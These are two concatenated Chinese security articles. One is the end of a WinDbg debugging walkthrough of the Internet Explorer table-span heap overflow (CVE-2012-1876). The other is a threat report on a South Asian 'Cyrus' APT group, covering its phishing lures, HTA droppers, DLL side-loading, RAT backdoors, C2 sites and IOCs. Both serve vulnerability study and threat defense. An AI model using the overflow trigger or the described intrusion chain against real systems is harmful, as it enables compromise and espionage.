从PoC中可以看到此时对应的width属性值为41，0x0019eb90处写入的内容就为width值41*100=0x00001004，事实上程序断下来的时候0x1C个字节的样式信息都已写入完成。我们再单步往下跟一下：
0:004> p
eax=00010048 ebx=00001004 ecx=0019eba8 edx=00000010 esi=0019eb90 edi=0019eba8
eip=6ca40a75 esp=0249c5f4 ebp=0249c5fc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CTableColCalc::AdjustForCol+0x5b:
6ca40a75 5f pop edi
......//一直单步过
0:004>
eax=00010048 ebx=0019fd70 ecx=0019eba8 edx=00000010 esi=0019eb90 edi=00000001
eip=6ca40a7b esp=0249c600 ebp=0249c6b4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CTableColCalc::AdjustForCol+0x61:
6ca40a7b c20c00 ret 0Ch
0:004>
eax=00010048 ebx=0019fd70 ecx=0019eba8 edx=00000010 esi=0019eb90 edi=00000001
eip=6c8af47a esp=0249c610 ebp=0249c6b4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CTableLayout::CalculateMinMax+0x558:
6c8af47a ff45ec inc dword ptr [ebp-14h] ss:0023:0249c6a0=00000000
0:004>
eax=00010048 ebx=0019fd70 ecx=0019eba8 edx=00000010 esi=0019eb90 edi=00000001
eip=6c8af47d esp=0249c610 ebp=0249c6b4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x55b:
6c8af47d 8b45ec mov eax,dword ptr [ebp-14h] ss:0023:0249c6a0=00000001
0:004>
eax=00000001 ebx=0019fd70 ecx=0019eba8 edx=00000010 esi=0019eb90 edi=00000001
eip=6c8af480 esp=0249c610 ebp=0249c6b4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x55e:
6c8af480 8345dc1c add dword ptr [ebp-24h],1Ch ss:0023:0249c690=00000000
0:004>
eax=00000001 ebx=0019fd70 ecx=0019eba8 edx=00000010 esi=0019eb90 edi=00000001
eip=6c8af484 esp=0249c610 ebp=0249c6b4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x562:
6c8af484 3b4510 cmp eax,dword ptr [ebp+10h] ss:0023:0249c6c4=00000006
0:004> dd ebp-30h
0249c684 00001004 00000000 0019eb90 0000001c
0249c694 00000000 00000000 00000000 00000001
0249c6a4 00000000 00001004 00000000 00000000
0249c6b4 0249c8d0 6c71a6b8 00000006 0249c948
0249c6c4 00000006 00000000 0019fd70 0019fd70
0249c6d4 00000000 6d0c801a 000f6aa8 00000000
0249c6e4 ffffffff 00000000 00000000 000fd790
0249c6f4 00000000 00000000 ffffffff 00000000
可以看到出现了inc＋cmp组合，可以猜想这应该就是控制堆空间写入样式信息的循环了，这几条汇编指令的意思就是ebp-14h对应的值每次加1，即每次循环后递增，ebp-24h对应的值每次加0x1C，即每次加一个样式信息的字节数，最后当前的循环次数和ebp+10h对应的值比较，即span属性值。为了验证这个猜想我们多跟几次这个过程，可以发现事实确是如此。
好的，我们来看下通过js脚本动态更新span属性值后，也就是span值变为666时程序第二次在CTableLayout::CalculateMinMax函数入口断下后是个什么情形，理论上是要重新分配堆空间的，毕竟要多写入660个样式信息，而后再获取此时的span值作为循环控制次数，最后才向堆空间写入样式信息。我们来到程序此时断下来的地方，顺便看下之前确实是写入了6个样式信息：
0:004> bl
0 e 6c71a078 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax
1 d 6c7cd7a5 0001 (0001) 0:**** mshtml!_HeapRealloc
2 d 6c69a6cb 0001 (0001) 0:**** mshtml!CTableCol::GetAAspan
3 d 0019eb90 w 1 0001 (0001) 0:****
0:004> g
Breakpoint 0 hit
eax=ffffffff ebx=0019fd70 ecx=00402c02 edx=ffffffff esi=00000000 edi=0249c12c
eip=6c71a078 esp=0249bed0 ebp=0249c0e8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax:
6c71a078 8bff mov edi,edi
0:004> dd 0019eb90 L30
0019eb90 00001004 00001004 00001004 00000000
0019eba0 0065006c 002f0000 00010048 00001004
0019ebb0 00001004 00001004 00000000 007a002f
0019ebc0 00630040 00010048 00001004 00001004
0019ebd0 00001004 00000000 007a002f 00630040
0019ebe0 00010048 00001004 00001004 00001004
0019ebf0 00000000 0019006c ad860000 00010048
0019ec00 00001004 00001004 00001004 00000000
0019ec10 05000005 00009841 00010048 00001004
0019ec20 00001004 00001004 00000000 00000000
0019ec30 00000000 00010048 2773a3b8 0c009846
0019ec40 00000000 001410a0 005c0044 00002001
继续往下应该是要分配堆空间了：
0:004> be 1 2
0:004> bl
0 e 6c71a078 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax
1 e 6c7cd7a5 0001 (0001) 0:**** mshtml!_HeapRealloc
2 e 6c69a6cb 0001 (0001) 0:**** mshtml!CTableCol::GetAAspan
3 d 0019eb90 w 1 0001 (0001) 0:****
0:004> g
Breakpoint 2 hit
eax=00183570 ebx=0019fd70 ecx=00000033 edx=00000006 esi=0019ec38 edi=00183570
eip=6c69a6cb esp=0249be24 ebp=0249becc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableCol::GetAAspan:
6c69a6cb 8bff mov edi,edi
0:004> gu
eax=0000029a ebx=0019fd70 ecx=00000002 edx=00148528 esi=0019ec38 edi=00183570
eip=6c8af31f esp=0249be28 ebp=0249becc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x3ac:
6c8af31f 3de8030000 cmp eax,3E8h
但我们却发现程序跳过了分配堆空间的过程，错误的认为之前分配的空间已经足够而转去直接获取控制循环次数的span属性值eax，即0x29a＝666。
接下来和前面一样是写入样式信息的过程，不过这次是对只能容纳6个样式信息的堆空间写入了666个样式信息，从而引发了堆溢出错误：
0:004> bl
0 e 6c71a078 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax
1 d 6c7cd7a5 0001 (0001) 0:**** mshtml!_HeapRealloc
2 d 6c69a6cb 0001 (0001) 0:**** mshtml!CTableCol::GetAAspan
3 e 0019eb90 w 1 0001 (0001) 0:****
0:004> g
Breakpoint 3 hit
eax=04141148 ebx=00414114 ecx=0019eba8 edx=00004141 esi=0019eb90 edi=0019eba8
eip=6ca40a49 esp=0249be0c ebp=0249be14 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CTableColCalc::AdjustForCol+0x2f:
6ca40a49 eb2a jmp mshtml!CTableColCalc::AdjustForCol+0x5b (6ca40a75)
......//一直单步过
0:004>
eax=00000001 ebx=0019fd70 ecx=0019eba8 edx=00004141 esi=0019eb90 edi=00000001
eip=6c8af484 esp=0249be28 ebp=0249becc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x562:
6c8af484 3b4510 cmp eax,dword ptr [ebp+10h] ss:0023:0249bedc=0000029a
0:004> dd ebp-30h
0249be9c 00414114 00000000 0019eb90 0000001c
0249beac 00000000 00000000 00000000 00000001
0249bebc 00000000 00414114 00000000 00000000
0249becc 0249c0e8 6c71a6b8 00000006 0249c160
0249bedc 0000029a 00000000 0019fd70 0019fd70
0249beec 6c7c78ad 6cb4b03c 001be050 00000000
0249befc ffffffff 00000000 77502fe7 750c0282
0249bf0c 00000000 00000000 ffffffff 00000000
0:004> bp 6c8af484 ".if(poi(0249beb8)=29a){}.else{gc}"
0:004> g
eax=0000029a ebx=0019fd70 ecx=001A3464 edx=00004141 esi=001A344C edi=00000001
eip=6c8af484 esp=0249be28 ebp=0249becc iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
mshtml!CTableLayout::CalculateMinMax+0x562:
6c8af484 3b4510 cmp eax,dword ptr [ebp+10h] ss:0023:0249bedc=0000029a
0:004> dd ebp-30h
0249be9c 00414114 00000000 001A344C 000048d8
0249beac 00000000 00000000 00000000 0000029a
0249bebc 00000000 00414114 00000000 00000000
0249becc 0249c0e8 6c71a6b8 00000006 0249c160
0249bedc 0000029a 00000000 0019fd70 0019fd70
0249beec 6c7c78ad 6cb4b03c 001be050 00000000
0249befc ffffffff 00000000 77502fe7 750c0282
0249bf0c 00000000 00000000 ffffffff 00000000
可以看到ebp+10h对应此时的span属性值0x29a，所以程序最终将会执行666次循环。堆溢出发生后程序继续运行会造成内存访问违规，从而导致IE浏览器的崩溃。
本文内容比较基础，有兴趣的可以动手操作一遍，漏洞的利用部分我们将在下篇文章中介绍，敬请期待。
### 0x04 参考
<http://www.vupen.com/blog/20120710.Advanced_Exploitation_of_Internet_Explorer_HeapOv_CVE-2012-1876.php>
(Web Archive)
<https://github.com/stephenfewer/ReflectiveDLLInjection>
<http://bbs.pediy.com/showthread.php?t=149527>
* * * | 社区文章 |
**作者：深信服千里目安全实验室
原文链接：<https://mp.weixin.qq.com/s/VNvnBgUknMZ8kw8ug-q5ZA>**
## 1.摘要
2019年7月，有人在VirusTotal上传了一个疑似针对阿富汗攻击的样本。这个样本最初被判定为"SideWinder(响尾蛇)"组织所为，有安全者深入分析后发现C2是一个印度的网站。但是网站是伪装的还是真实的无法验证。样本使用的木马和以往披露的"SideWinder(响尾蛇)"APT组织所用的木马也有差异。
2020年9月，印度的安全厂商Quick
Heal的威胁情报团队声称发现了一个针对印度国防部门的攻击组织，并且声称该攻击组织至少从2019年已经开始针对印度发起攻击。Quick
Heal的威胁情报团队将2019年到他们发报告时的一系列的攻击行动称为”Operation SideCopy“。“Operation
SideCopy”的攻击手法和"SideWinder(响尾蛇)"APT组织是高度相似的，因为"SideWinder(响尾蛇)"APT组织据称是来自印度，因此Quick
Heal的威胁情报团队认为不是"SideWinder(响尾蛇)"APT组织。他们认为这些攻击行动和一个叫做”透明部落( Transparent Tribe
)"的APT组织有“关联”。但是报告发出去后，很多新闻媒体就声称是来自巴基斯坦的名叫”透明部落( Transparent Tribe
)"的APT组织在攻击印度政府都，甚至声称是“有中国帮助的”。
2021年4月底，我们注意到了一系列的针对印度政府，军队等的攻击。通过对这些攻击手法的分析，我们发现这些攻击的手法和以前被称为"SideWinder(响尾蛇)"APT组织所用的手法很相似。这些攻击在最后阶段使用的木马名字叫Cyrus,为了方便区分我们称该组织为Cyrus
APT组织。
我们发现的针对印度的攻击大多通过入侵印度的网站或者伪装成印度的网站，将其作为C2服务器。接着向目标发送钓鱼邮件，邮件中嵌入一个包含lnk文件或者漏洞利用的文档。当点击了lnk文件或者包含有漏洞的文档后，恶意代码会从C2服务器上下载HTA文件，HTA文件会在某个目录下释放出一个名字为DUser.dll的文件，同时拷贝credwiz.exe到该目录。利用
DLL Side-loading
方法来执行恶意代码即通过credwiz.exe来加载DUser.dll，实现恶意代码的执行。DUser.dll文件通常不会包含恶意代码，它只是负责执行另一个包含恶意代码的文件。这些行为和"SideWinder(响尾蛇)"APT组织的攻击手法是很相似的，只是最终的payload大多是经过修改的开源的backdoor。这个backdoor使用delphi语言开发，攻击者在内部可能称其为"Cyrus"。
## 2\. Cyrus APT组织的历史
### 2.1 2019年下半年：上传到VirusTotal的样本
我们在VirusTotal上发现了两个HTA文件，它们分别被上传于2019年7月和2019年12月。这些HTA样本和"SideWinder(响尾蛇)"APT组织所用的样本流程完全一样，但是它们包含的经过序列化的.NET模块复杂程度更高一些,从代码上看它们增加了不少的功能。
2019年7月上传到VirusTotal的文件名字是:Sponsorship-Benefits.docx.lnk(dbdd56932730210f6556cc636aeb8a66)。这个lnk执行后会下载一个HTA文件:
这个文件中包含的经过序列化的.NET的模块如下:
和"SideWinder(响尾蛇)"APT组织使用的hta.dll相比代码发生了变化, RealStPrickBack的定义如下:
RealStPrickBack和"SideWinder(响尾蛇)"组织所用的hta.dll的pink函数很像，它会解码和解压缩数据，然后写入到文件中并打开它。接着调用getThridStrike下载另外一个HTA并执行。和"SideWinder(响尾蛇)"APT组织所用的hta.dll不同的是:压缩的数据头部有四个字节用来描述整个文件的大小，没有判断当前系统中的是否安装杀软。getThridStrike下载下来的HTA文件包含一个prebothta.dll文件，HTA文件调用的是preBotHta.Pink函数。preBotHta类的定义如下:
preBotHta类的函数Pink会判断当前系统中安装的杀毒软件，然后根据杀毒软件的类型来决定释放文件的方式:
其中的preBotHta.activeDefender的代码如下:
这个函数执行的大致流程如下:
将Credwiz.exe拷贝到C:\ProgramData\dsk\目录下
preBotHta.work函数创建一个%ProgramData%Win Setting
Loader.lnk文件,LNK文件包含运行C:\ProgramData\dsk\Credwiz.exe的命令
preBotHta.CopyExeAsTxt函数释放一个%temp%\Windows Cleaner\ibtsiva.txt文件。
preBotHta.CopyDLLDefender函数 释放文件C:\ProgramData\dsk\abc.txt
preBotHta.renNameFile函数 将%temp%\Windows Cleaner\ibtsiva.txt重命名为%temp%\Windows
Cleaner\itstr.exe,然后调用powershell执行这个文件。
preBotHta.ExecuteCommand 函数执行cmd命令打开Win Setting Loader.lnk文件。
这里释放出来的abc.txt就是Duser.dll,但是没有将其重命名为Duser.dll。当系统中安装的是其他类型的杀软时执行流程是:Credwiz.exe加载Duser.dll,接着DUser.dll运行itstr.exe。我们推测是当在系统中安装了windows
defender时，无法使用这种 DLL Side-loading方法，于是攻击者选择直接运行itstr.exe。DUser.dll运行后会执行itstr.exe，而itstr.exe是一个使用Delphi开发的开源backdoor。该木马源代码的可以在github上找到，相关的链接如下:
<https://github.com/Grampinha/AllaKore_Remote>
值得一提的是这个样本第一阶段的C2是vidyasagaracademybrg[.]in。如果搜索这个域名可以在google地图上找到一个真实存在的地址:
这是一个印度的学校，现在这个网站仍然可以打开。但现在是一个中国的矿机公司的网站。我们推测这可能是一个虚假的网站。如果说"SideWinder(响尾蛇)"APT组织是来自印度，那么伪装成印度学校的网站就显得不太正常。有一个安全研究者在分析完这个样本后也对此持有怀疑的态度，他判断可能是攻击者模仿了"SideWinder(响尾蛇)”APT组织。他的文章链接地址是:<https://sebdraven.medium.com/copy-cat-of-apt-sidewinder-1893059ca68d>
2019年12月有人提交到VirustTotal上一个名字为1.hta的文件，文件MD5:74d9e996d978a3c53c9c974a144a6b37。这个文件和7月份相比文件有少许的变动。HTA.DLL对比如下:
可以看到12月份的hta.dll保存了download函数，但是这个函数是空的。7月份的样本下载第二阶段的hta文件是保存在临时目录，12月份的则是保存在C:\ProgramData\Adobe\目录下。
prebothta.dll对比如下:
两者对比可以发现PreBotHta类的命名被改成了DraftingPad,同时pink函数被改成了pinkAgin。增加了一个activeQuick函数，这里应该是针对Quick
Heal的。Quick
Heal是一家印度网络安全软件公司。除此之外释放文件的路径变成了C:\ProgramData\Adobe\,原来的%temp%\Windows
Cleaner\itstr.exe被改成了%temp%\Windows
Cleaner\MicroSoft\winms.exe。winms.exe仍然是一个使用Delphi开发的开源backdoor，和7月份的一样。
2019年12月份上传到VirustTotal的样本第二阶段的C2是fincruitconsulting[.]in，这个网站现在开可以打开，是一个印度的公司的网站。
### 2.2 2020年："SideWinder(响尾蛇)"与Operation SideCopy“
一个名字叫Quick Heal的印度安全公司发布了一篇名字为"Operation SideCopy An insight into Transparent
Tribe’s sub-divisionwhich has been incorrectly attributed for
years"的报告。这个公司的名字在2019年12上被上传到VirusTotal的样本中包含过。Quick
Heal声称他们在自己的设备上捕获到一些样本，这些样本被误解为"SideWinder(响尾蛇)"APT组织。他们认为该组织最早从2019年开始，这个组织和透明部落(Transparent
Trib)APT 组织相关。这些样本主要是攻击印度的国防工业和军人。我们没有找到Quick Heal报告中提到的样本，但是Quick
Heal报告提到的样本显然和2019年的7月以及12月提交到VirusTotal上的样本的行为高度相似。
更有意思的是Quick Heal报告中提到一个PDB文件E:\OpenRATs\ NigthFury\Night Fury HTA upload\
preBotHta\obj\ Debug\ preBotHta.pdb。当然这并不能说明什么，也可能是攻击者随便起的名字。
Quick Heal的报告在报告中提到有一张对比图：
我们在前面的章节中提到2019年12份上传到VirusTotal样本和Quick
Heal所声称的2020年发现的新的hta.dll样本在代码上完全一致。这也说明了，相关的攻击在2019年就发生了。另外Quick
Heal的报告中提到"SideWinder(响尾蛇)"APT组织使用Duser.dll都是C#开发的，这个结论不准确,"SideWinder(响尾蛇)"APT组织使用Duser.dll有部分是使用C++开发的,尤其是在2019年上半年出现的样本。
Quick Heal的报告仅仅是为这类攻击提供了一个新的视角，但是情况却发生了变化:CNN-News18是一个印度的印度英语新闻电视频道，这家公司的网站发表了一篇文章:"Cyber Warfare: China Is Helping
Pakistani Hackers Launch Cyber Attacks on India"：
于是乎这些攻击变成了可疑的巴基斯坦黑客组织所为，并且是"中国帮助了巴基斯坦的"透明部落(Transparent
Trib)"APT组织发起了Operation SideCopy。
### 2.3 2021年:伤痕累累的大象
#### 2.3.1 钓鱼网站和njRAT
2021年，我们发现了一个伪装成印度政府官方网站。这个网站的地址是http[:]//149[.]248[.]52[.]61/webmail.gov.in/verification/KAVACH。在这个网站一个目录下的文件如下:
受害者的密码被保存在一个名字为doublegoli2.txt的文件中，不过在我们查看了这个文件后，我们发现几乎没有人在这个页面上输入账户和密码。在继续进行时分析时，我们发现了多个与这个IP通讯的样本。部分样本的原始文件名与印度的军队和疫情相关:
* Indian Army Restructring And Re-Organization.pdf.exe
* Phase-3 of Nationwide Covid-19 Vaccination Registration.pdf.exe
* director_general_level_border_coordination_conference.pdf.exe
* covid-vaccination-approved-for-kin-of-armed-forces-personnel-veterans-in-service-hospitals.exe
这些文件都是winrar的自解压程序，它们运行后会释放出诱饵文档和恶意代码。其中的一个文件解压后如下:
解压出来的PDF是来自于印度的一个政府网站:
Phase-3-of-Nationwide-Vaccination-Registration_pdf.exe释放出来的名字为winhosti.exe的文件是njRat的一个变种,文件中包含一个PDB路径:
D:\RATS\njRAT-0.7d-Stub-CSharp-master\njRATC#Stub\njRATC# Stub-backup\obj\x86\Debug\winhosti.pdb
通过搜索我们在github上找到了相关的源代码:
https[:]//github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/tree/master/njRAT%20C%23%20Stub
不过项目的名字发生了变化，github上的项目名是"Lime",winhosti.exe中则变为"Ralinet":
除了上面的样本外，我们发现一些伪装成私有VPN APP的样本。名字为Kavach-Release-win.exe的文件解压后如下:
go.vbs会打开链接:https[:]//kavach.mail.gov.in。通过网上公开的操作手册，我们了解到:登录kavach.mail.gov.in网站后可以下载认证工具，通过认证工具可以直接访问mail.gov.in所在的系统。释放出来的winhost.exe是一个旧版本的njRAT,它的C&C同样是149[.]248.52.61，不过这个文件并不包含PDB信息。
我们还发现了一个名字为10298-VPN-Win-10.exe的文件这个文件伪装成VPN的客户端程序，部分代码如下:
它会打开https[:]//vpn.nic.in/链接，造成访问正确网站的假象。然后在后台解密并释放%APPDATA%\inithost.exe，同时将其加入到开机自启动项。释放出来的inithost.exe是一个截屏程序，并且这个程序可以自动更新：
10298-VPN-Win-10.exe中包含的PDB路径如下:
G:\VP-S-Fin\memory\encrypt-decrypt-byte-encrypted\encrypt-decrypt\obj\Debug\solaris.pdb
inithost.exe 中包含的PDB路径如下:
G:\VP-S-Fin\Margulas\Client\obj\Debug\solaris1.pdb
在我们分析完以上样本后，我们意外发现一个lnk文件和149[.]248[.]52[.]61有关联。最早发现的lnk文件的名字为:Cir-Bfg-Int-May21-Summary.docx.lnK。这个文件的执行流程如下:
下载下来的updtsys.exe中包含的PDB路径如下:
D:\RATS\njRAT-0.7d-Stub-CSharp-master\njRAT C# Stub\njRAT C# Stub-backup\obj\x86\Debug\wintask.pdb
#### 2.3.2 再次相遇
名字为Cir-Bfg-Int-May21-Summary.docx.lnK的文件中包含一个链接:https[:]//www[.]imenucard.com/fcm/files/ALMT-OF-TT&IEG-2021/css/word.ico,这个链接指向的是一个winword的图标。我们发现了[www.imenucard.com](www.imenucard.com)上存在另外一个hta文件:http[:]//imenucard.com/fcm/files/xmlk/css.hta。我们点开后发现了熟悉的代码:
这个LNK中包含一个MachineID字段，该字段的值是"desktop-g1i8n3f"。通过关联我们找到了另外几个与之相关的文件:
文件名 | MD5
---|---
DATE-OF-NEXT-INCREMENT-ON-UP-GRADATION-OF-PAY-ON-01-JAN-AND-01-JUL.pdf.lnk |
2d486754b4e2060db77f212da0c6f
Call-for-Proposal-DGSP-COAS-Chair-Excellance.pdf.lnk |
261fa3263efc672ed853c7b327b64d70
Covid Vaccination.pdf.lnk | 0330753edb0026e847052f6faffe3243
Covid Vaccination On Emergency Basis for All Employees and their
Familes.pdf.lnk | ced4a3d54c12ff49b5b9bd562d935b3c
Image__7563.jpg.lnk | 265598226b93803f67cee5fc2dc8199f
这些文件lnk的执行流程和Cir-Bfg-Int-May21-Summary.docx.lnk有所差异，比如DATE-OF-NEXT-INCREMENT-ON-UP-GRADATION-OF-PAY-ON-01-JAN-AND-01-JUL.pdf.lnk文件的执行流程如下:
LNK文件首先会下载一个HTA文件，这个文件中包含两个经过base64编码的字符串。其中一个是反序列化的.NET模块，解码后会调用其导出的函数。这个模块中类的定义如下:
与2019年的hta.dll相比，新的模块在函数上又发生了变化。这次调用的是RealityShow,这个函数的定义如下:
data字符串经过base64编码并且GZIP压缩，RealityShow会先解码和解压缩这个字符串并写入一个PDF文件中，然后打开这个文件。
接着RealityShow会调用getThridStrike函数:
getThridStrike
会从https[:]//londonkids.in/echoolz/assets/css/front/hwo/css/下载一个HTA文件，这个文件中包含一个反序列化的.NET模块，这个模块的名字为prebothta.dll。HTA文件首先会遍历系统中的杀毒软件，然后将杀毒软件的名字传入到prebothta.dll的PinkAgain函数。prebothta.dll中的类的定义如下:
和2019年的样本相比，针对杀软而采取不同释放文件策略都不见了。每个前缀为active的函数执行逻辑是一样的，pinkAgain函数变成了4个参数，最后一个参数是是要释放的可执行文件的名字，这个名字根据杀软的类型来决定。我们目前发现这个值好像是固定的。PinkAgain函数会根据当前系统中的杀软名字来决定释放文件的方法。不论当前系统中安装了什么类型的杀软，代码的执行逻辑都是一样的。最终用都是调用CopyExeAsTxt函数，CopyExeAsTxt会解码和解压传递进来的字符串然后在Statrtup目录释放一个名字为winstr.jpg的文件，然后将winstr.jpg重命名为winstr.exe。相关代码如下:
释放出来的文件的原始文件名是officetool.exe,这个文件的功能是定期的更新恶意代码。如下图:
main函数的如下代码如下:
GetThridStrike
还会从https[:]//londonkids.in/echoolz/assets/css/front/hwo/html/下载一个HTA文件，将其命名为duoApp1.hta,然后执行这个文件。
duoApp1.hta会释放出来 DUser.dll,streg.bat,
winidr.exe。同时duoApp1.hta还会将系统文件credwiz.exe拷贝到C:\ProgramData\AnyDeks\credwiz.exe。winidr.exe仍然是一个使用Delphi开发的开源backdoor,这一点没有变化。
#### 2.3.3 我们发现了一个”巢穴“
就在我们即将写完报告时，我们发现了mmfaa[.]ddns[.]net网站。这个网站的主页伪装成阿富汗的新闻网站。仔细观察源代码后，我们发现页面中的内容是固定的,很多链接是不会变化。
我们探测到这个网站有三个特殊的目录：
* https[:]//mmfaa[.]ddns[.]net/test
* https[:]//mmfaa[.]ddns[.]net/classifieds
* https[:]//mmfaa[.]ddns[.]net/classification
在这三个目录下都存在相同的C&C server 框架。从登陆界面显示判断这套C&C server
框架似乎叫"Crusade"。这三个目录下都存在tmp、downloads目录。tmp主要是存放一些木马文件，downloads则存放的是受害者的电脑上的文件。这些文件包括一些图片，文档，键盘记录日志等。
我们还发现了其他类似的目录：
* http[:]//mfahost.ddns.net/classical/
* http[:]//164.68.108.22/cruisers/
* http[:]//164.68.108.22/crus/
* http[:]//mffatool.ddns.net/knightrider/
* http[:]//173.212.224.110/krowd/
在这个网站的classifieds\temp目录下，我们发现了大量的样本。这个目录中包含的winidr.exe文件正是我们前面分析的文件。
在这些文件中我们发现了6个HTA文件，从这些HTA文件中我们发现了至少3个prebothta.dll的变种:
这些变种的发现也改变了我们一些认知，在此之前我们一度怀疑是不是有多个不同的组织在使用这套TTPs。C#开发的程序很容易反编译，有一定技术能力的攻击组织可以重新利用这些代码。在同一个服务器上发现了这么多的变种改变了我们的判断。
这些目录中包含了很多的恶意代码，这些恶意代码也一定程度上反映了这个组织在变换自己的攻击手法。从部分PDB路径就可以快速的识别恶意代码的功能:
D:\Projects\C#\Chromer\Chromer\obj\Debug\charmi.pdb
C:\Users\Monkey\source\repos\hijacker\Release\MeterPreter.pdb
C:\Users\nomi\Desktop\ReverseShell\Release\ReverseShell.pdb
c:\Users\Zombie\Desktop\ReverseRat
client\ReverseRat\ReverseRat\obj\Release\svchostt.pdb D:\Projects\C#\HTTP-Simple\WindowsMediaPlayer - HTTP - 02-23-2021
Current\WindowsMediaPlayer10\obj\x86\Release\winow4.pdb
值得一提的是winow4.exe是一个C#开发的远控，它伪装成播放器。部分代码代码如下:
关键代码如下：
我们发现一个名字为winow.exe的文件，这个文件使用delphi语言开发。它的功能和C#开发的winow4.exe的功能是一样的，部分代码如下：
这个网站的目录下存在多个我们前面提到了名称为“AllaKore_Remote“后门的变种，这些变种大多数的文件名字大多是以"win"开头，但有一个变种的文件名是"Cyrus_Client.exe",我们推测攻击组织对这个后门的命名应该是"Cyrus"。我们观察到卡巴斯基对这个后门的变种所报的病毒名为"HEUR:Backdoor.Win32.Cyrus.gen"。
我们还在这个网站上发现了一个受害者的列表：
这些数据都是2019年到2020年间收集的，受害者有100多个。对这些IP统计后发现受害者大部分位于阿富汗，有少量的印度、巴基斯坦、中国等国家。
## 3\. 结论
从目前观察的情况判断，Cyrus
APT组织主要针对的对象是印度和阿富汗。我们没有找到针对巴基斯坦及其他南亚国家的直接证据。域名是mmfaa[.]ddns.net的网站伪装成一个阿富汗的新闻网站，这个网站的IP是144[.]91.65.100。这个IP曾经和域名newsindia.ddns.net、www[.]afghannewsnetwork[.]com、afghannewsnetwork.com相关联。这个网站在2020年就存在，两家印度的安全公司都曾经在报告中提及144[.]91.65.100这个IP。推特上有个安全研究者对newsindia[.]ddns[.]net、www[.]afghannewsnetwork[.]com表示很困惑，因为这一些列的攻击和"SideWinder(响尾蛇)"APT组织太像了。但是"SideWinder(响尾蛇)"APT组织却被认为是来自于印度，甚至被认为是有"印度政府背景"。
Cyrus APT组织和"SideWinder(响尾蛇)"APT组织的主要区别如下：
* Cyrus APT组织使用的C&C服务器的域名主要是印度的域名。部分网站看起来是真实的的网站，部份看起来是伪装的网站。
* Cyrus APT组织使用的攻击技术是"SideWinder(响尾蛇)组织所用的攻击技术的前两种，第三种则从来没有出现过（细节请参考我们关于"SideWinder(响尾蛇)组织的报告）。
* Cyrus APT组织的样本释放出来的DUser.dll通常是一个delphi开发的程序，偶尔有C#开发的。"SideWinder(响尾蛇)"APT组织使用的DUser.dll有C++开发的，后期大多是C#开发。
* Cyrus APT组织最后的payload是使用delphi开发的开源木马，这个木马可能在内部叫"Cyrus"。
* prebothta.dll和hta.dll中使用gzip解压后的数据的前四个字节表示解压后数据的大小。"SideWinder(响尾蛇)"APT组织的样本中gzip解压后的数据不存在这个字段。
* Cyrus APT组织拥有更多的攻击武器，同时更新武器的速度比"SideWinder(响尾蛇)"APT组织要更加快。
在6月份，Cyrus
APT组织更换了服务器，起用一个afghannewsnetwork[.]com的域名。同时我们发现该组织开始使用golang开发后门了。
值得注意的是一些目录和文件的名字如：classical，classifieds，classification，crus，cruisers，cyrus,crusade，
knightrider,
krowd。另外mmfaa[.]ddns[.]net网站上的数据库中有两个账户名疑似是两个知名足球明星的名字。这些信息没有在"SideWinder(响尾蛇)"APT组织的攻击中发现，它们可能对描绘攻击者的形象有帮助。
如果在google中搜索”DraftingPad”会弹出相关的搜索，其中有一条是” drafting pad price in
pakistan”。我们当然不是在暗示这个组织来自于巴基斯坦。
部分安全厂商和安全研究者将这类攻击归于”透明部落(Transparent Tribe
)”APT组织，但是我们研究之后没有发现出它们之间有较强的联系。目前我们倾向于这是一个活跃于南亚国家的一个新的APT组织。
## 4\. IOC
**MD5:**
7fc510a92848ec9ffc92cdaff897de0c Indian Army Restructring And Re-Organization.pdf.exe
d33dec279966da2024c05d5fde688253 Phase-3 of Nationwide Covid-19 Vaccination
Registration.pdf.exe
fcae8c3823eecebb9b8e0f9f2b9eeb89
director_general_level_border_coordination_conference.pdf.exe
a3e614d1a2956cde029cb3ce1b499d12 Kavach-Release-win.exe
4f1c460608a80b82094bf9c87f31e032 covid-vaccination-approved-for-kin-of-armed-forces-personnel-veterans-in-service-hospitals
8ff555dea1402789ef19afa7efd06c76 sigma.exe
6743e3521bb2e738ae850e6d270057b9 solaris.exe or 10298-VPN-Win-10.exe
4b792b700f7c833d22f6a819175eb3bb Cir-Bfg-Int-May21-Summary.docx.lnk
261fa3263efc672ed853c7b327b64d70 Call-for-Proposal-DGSP-COAS-Chair-Excellance.pdf.lnk
2d486754b4e2060db77f212da0c6f9ff DATE-OF-NEXT-INCREMENT-ON-UP-GRADATION-OF-PAY-ON-01-JAN-AND-01-JUL.pdf.lnk
0330753edb0026e847052f6faffe3243 Covid Vaccination.pdf.lnk
265598226b93803f67cee5fc2dc8199f Image__7563.jpg.lnk
ced4a3d54c12ff49b5b9bd562d935b3c Covid Vaccination On Emergency Basis for All
